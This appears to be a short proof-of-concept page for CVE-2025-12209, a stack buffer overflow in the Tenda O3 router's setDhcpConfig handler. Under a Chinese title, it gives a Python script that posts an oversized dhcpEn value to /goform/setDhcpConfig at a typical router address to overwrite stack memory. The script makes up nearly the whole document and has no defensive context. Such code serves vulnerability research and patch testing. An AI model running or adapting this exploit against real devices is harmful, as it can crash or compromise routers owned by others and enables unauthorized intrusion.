CVE-2025-12209 Tenda O3路由器setDhcpConfig栈缓冲区溢出漏洞

import requests # CVE-2025-12209 PoC - Tenda O3 Stack Buffer Overflow # Target: Tenda O3 Router /goform/setDhcpConfig target_ip = "192.168.0.1" # Typical Tenda router IP url = f"http://{target_ip}/goform/setDhcpConfig" # Generate overflow payload - dhcpEn parameter with excessive length # This overwrites stack memory, potentially including return address payload_size = 500 # Adjust based on actual buffer size dhcpEn = "A" * payload_size data = { "dhcpEn": dhcpEn, "dhcpStart": "192.168.0.100", "dhcpEnd": "192.168.0.200", "dhcpMask": "255.255.255.0" } try: response = requests.post(url, data=data, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")